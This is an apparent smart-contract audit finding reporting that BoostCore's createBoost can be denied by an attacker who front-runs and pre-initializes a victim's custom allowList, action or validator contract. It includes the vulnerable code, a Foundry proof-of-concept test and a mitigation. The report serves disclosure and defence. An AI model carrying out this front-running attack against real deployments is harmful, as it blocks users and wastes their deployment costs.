Skip to content

Latest commit

 

History

History
153 lines (124 loc) · 8.39 KB

File metadata and controls

153 lines (124 loc) · 8.39 KB

Wobbly Cinnamon Leopard

Medium

Malicious user can front-run and deny Boost creation via pre-initialization of user’s custom contracts

Summary

The createBoost function in the BoostCore contract allows a malicious user to front-run and initialize a victim’s custom contracts (such as action, allowList, or validator contracts). This results in the victim's createBoost call failing due to contract re-initialization restrictions, effectively allowing a denial of service (DoS) attack.

Root Cause

In BoostCore.sol:126, BoostCore.sol:127 and BoostCore.sol:132, the function _makeTarget() always sets shouldInitialize to true when creating the boost components like action, allowList, and validator.

        // Setup the Boost components
        boost.action = AAction(_makeTarget(type(AAction).interfaceId, payload_.action, true));
        boost.allowList = AAllowList(_makeTarget(type(AAllowList).interfaceId, payload_.allowList, true));
        boost.incentives = _makeIncentives(payload_.incentives, payload_.budget);
        boost.validator = AValidator(
            payload_.validator.instance == address(0)
                ? boost.action.supportsInterface(type(AValidator).interfaceId) ? address(boost.action) : address(0)
                : _makeTarget(type(AValidator).interfaceId, payload_.validator, true)
        );

This results in the custom contracts forced being initialized by the BoostCore contract. However, if a malicious user front-runs the victim and pre-initializes the victim’s custom contract, the subsequent call by the victim to initialize the same contract will fail because the contracts cannot be re-initialized.

Users who want to use a custom contract as action, allowList, or validator can't protect against it since they can't initialize there contract before, and the attacker can initialize contract with the BoostCore (so a check on msg.sender will not work).

Internal Pre-Conditions

External Pre-Conditions

  1. The victim needs to deploy custom contracts for action, allowList, or validator before calling the createBoost function.
  2. The victim calls createBoost and passes references to the deployed custom contracts.

Attack Path

  1. The victim deploys custom contracts for their boost’s action, allowList, or validator.
  2. Before the victim calls createBoost, a malicious user monitors the network and identifies the victim's contracts.
  3. The malicious user front-runs the victim and calls createBoost using the victim’s custom contracts, forcing the contracts to initialize. Note that the malicious user can call custom contracts directly and have to initialize all of them. He can change parameters of the boost or use only one custom action for example.
  4. When the victim attempts to call createBoost with the same custom contracts, the call fails because the contracts have already been initialized.
  5. The victim’s createBoost transaction reverts, resulting in a denial of service (DoS) for the victim.

Impact

A malicious user can perform a DoS attack by preventing the victim from creating a boost with their custom contracts. This forces the victim to redeploy new contracts, adding unnecessary complexity and cost. The victim will lose deployment gas, and can be DoS again.

PoC

In packages\evm\test\e2e\EndToEndBasic.t.sol, add the following test:

    function testPOC() public {

        // "Given that I have a budget"
        SimpleBudget budget = _budget;
        _when_I_allocate_assets_to_my_budget(budget);

        // "I can specify a list of allowed addresses"
        address[] memory allowList = new address[](2);
        allowList[0] = address(0xdeadbeef);
        allowList[1] = address(0xc0ffee);

        // "I can specify the incentive of '100 ERC20' with a max of 5 participants"
        BoostLib.Target[] memory incentives = new BoostLib.Target[](1);
        incentives[0] = BoostLib.Target({
            // "I can specify the incentive..."
            isBase: true,
            instance: address(
                registry.getBaseImplementation(
                    registry.getIdentifier(BoostRegistry.RegistryType.INCENTIVE, "ERC20Incentive")
                )
            ),
            // "... of '100 ERC20' with a max of 5 participants"
            parameters: abi.encode(erc20, AERC20Incentive.Strategy.POOL, 100 ether, 5)
        });

        //Before createBoost user deploy allowList
        address allowListAddress = address(new SimpleAllowList());

        //And the malicious user front run the createBoost function with his own allowList. 
        //Attacker can do so by initializing with createBoost core or with allowListAddress directly
        //We are doing POC by the second way because it is shorter but both are possible.
        

        address[] memory maliciousAllowList = new address[](2);
        maliciousAllowList[0] = address(0x123456);
        maliciousAllowList[1] = address(0x1234567);

        SimpleAllowList(allowListAddress).initialize(abi.encode(address(this), maliciousAllowList));

        // Then user call reverts. The user has to deploy new contracts
        // because his custom contracts have to be initialized by the core contract.

        core.createBoost(
            LibZip.cdCompress(
                abi.encode(
                    BoostCore.InitPayload(
                        // "... with my budget"
                        budget,
                        BoostLib.Target({
                            // "I can specify the action of 'Mint an NFT'"
                            // "... and I can specify the address of my ERC721"
                            // "... and I can specify the selector of the mint function"
                            // "... and I can specify the mint price"
                            isBase: true,
                            instance: address(
                                registry.getBaseImplementation(
                                    registry.getIdentifier(BoostRegistry.RegistryType.ACTION, "ERC721MintAction")
                                )
                            ),
                            parameters: abi.encode(
                                AContractAction.InitPayload({
                                    chainId: block.chainid,
                                    target: address(erc721),
                                    selector: MockERC721.mint.selector,
                                    value: erc721.mintPrice()
                                })
                            )
                        }),
                        BoostLib.Target({
                            // "... and I don't have to specify a validator"
                            isBase: false,
                            instance: address(0),
                            parameters: bytes("")
                        }),
                        BoostLib.Target({
                            // "I can specify a list of allowed addresses"
                            isBase: false,
                            instance: allowListAddress,
                            parameters: abi.encode(address(this), allowList)
                        }),
                        incentives, // "I can specify the incentive..."
                        1_000, // "I can specify an additional protocol fee" => 1,000 bps == 10%
                        500, // "I can specify an additional referral fee" => 500 bps == 5%
                        5, // "I can specify a maximum number of participants" => 5
                        address(1) // "I can specify the owner of the Boost" => address(1)
                    )
                )
            )
        );
    }

Then run forge test --match-test testPOC -vvvv

You will see that the test will fail with the InvalidInitialization() error.

If you delete this line it will not revert (ie there is no front run):

SimpleAllowList(allowListAddress).initialize(abi.encode(address(this), maliciousAllowList));

Mitigation

I recommend to always set target_.isBase to true for action, allowList, or validator in the createBoost function.